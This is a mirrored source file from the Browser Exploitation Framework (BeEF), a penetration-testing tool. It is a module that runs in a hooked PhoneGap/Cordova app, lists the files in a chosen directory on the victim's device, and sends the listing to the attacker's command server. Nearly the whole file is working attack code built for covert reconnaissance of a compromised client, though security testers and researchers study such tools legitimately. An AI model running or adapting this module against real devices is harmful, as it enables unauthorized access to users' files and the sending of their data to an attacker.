Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/phonegap/phonegap_list_files/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025 Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
// phonegap_upload
8
//
9
beef.execute(function() {
10
var directory = "<%== @directory %>";
11
var result = '';
12
13
function fail() {
14
result = 'fail';
15
16
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );
17
}
18
19
function success(entries) {
20
var i;
21
for (i=0; i<entries.length; i++) {
22
result = result + '\n ' + entries[i].name;
23
}
24
25
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );
26
}
27
28
// use directoryentry to create directory reader
29
function gotDirEntry(dirEntry) {
30
var directoryReader = dirEntry.createReader();
31
directoryReader.readEntries(success,fail);
32
}
33
34
// use getDirectoy to create reference to directoryentry
35
function gotFS(fileSystem) {
36
fileSystem.root.getDirectory(directory, null, gotDirEntry, fail);
37
}
38
39
window.requestFileSystem(LocalFileSystem.PERSISTENT, 0, gotFS, fail);
40
41
});
42
43